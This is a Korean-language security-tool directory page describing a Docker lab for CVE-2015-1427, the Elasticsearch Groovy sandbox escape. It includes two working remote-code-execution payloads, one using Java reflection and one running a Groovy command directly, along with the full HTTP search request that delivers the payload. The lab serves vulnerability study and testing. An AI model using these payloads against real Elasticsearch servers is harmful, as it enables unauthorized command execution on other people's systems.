Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — CVE-2015-1427 ElasticSearch Groovy 샌드박스 우회 및 원격 코드 실행을 위한 Docker 기반 랩 환경으로, Java 리플렉션 및 Groovy 명령 실행을 통한 두 가지 POC 방법을 시연합니다. | Kitploit
도구/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

CVE-2015-1427 ElasticSearch Groovy 샌드박스 우회 및 원격 코드 실행을 위한 Docker 기반 랩 환경으로, Java 리플렉션 및 Groovy 명령 실행을 통한 두 가지 POC 방법을 시연합니다.

저장소 보기
56년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ElasticSearch Groovy 샌드박스 우회 && 코드 실행 취약점(CVE-2015-1427) 테스트 환경

jre 버전: openjdk:8-jre

elasticsearch 버전: v1.4.2

원리

참고 문서:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

CVE-2014-3120 이후, ElasticSearch의 기본 동적 스크립트 언어는 Groovy로 변경되었고 샌드박스가 추가되었지만, 기본적으로 동적 언어를 직접 실행하는 것을 여전히 지원합니다. 본 취약점: 1. 샌드박스 우회이며 2. Goovy 코드 실행 취약점입니다.

Groovy 언어 "샌드박스"

ElasticSearch는 "샌드박스에 있는" Groovy 언어를 동적 스크립트로 사용하는 것을 지원하지만, 공식적인 작업이 제대로 이루어지지 않은 것이 분명합니다. lupin과 tang3는 각각 두 가지 명령 실행 방법을 제안했습니다.

  1. Java 코드 실행에 샌드박스가 적용되어 있으므로, lupin의 방법은 Java 리플렉션 등을 사용하여 샌드박스를 우회하는 것입니다.
  2. Groovy는 원래 언어이기도 하므로, tang3는 다른 접근 방식을 사용하여 Java 언어 없이 Groovy 언어가 지원하는 방법으로 명령을 직접 실행했습니다.

따라서 이 두 가지 취약점 실행 방식을 바탕으로 서로 다른 두 개의 POC를 얻을 수 있습니다.

Java 샌드박스 우회 방법:

root@kitploit:~
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy 직접 명령 실행 방법:

root@kitploit:~
def command='id';def res=command.execute().text;res

취약점 테스트

테스트 환경을 빌드하고 실행합니다.

root@kitploit:~
docker-compose build
docker-compose up -d

쿼리 시 ES에 최소한 하나의 데이터가 필요하므로, 다음 데이터 패킷을 전송하여 데이터를 하나 추가합니다.

root@kitploit:~
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

그런 다음 payload가 포함된 데이터 패킷을 전송하여 임의의 명령을 실행합니다.

root@kitploit:~
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

도구 다운로드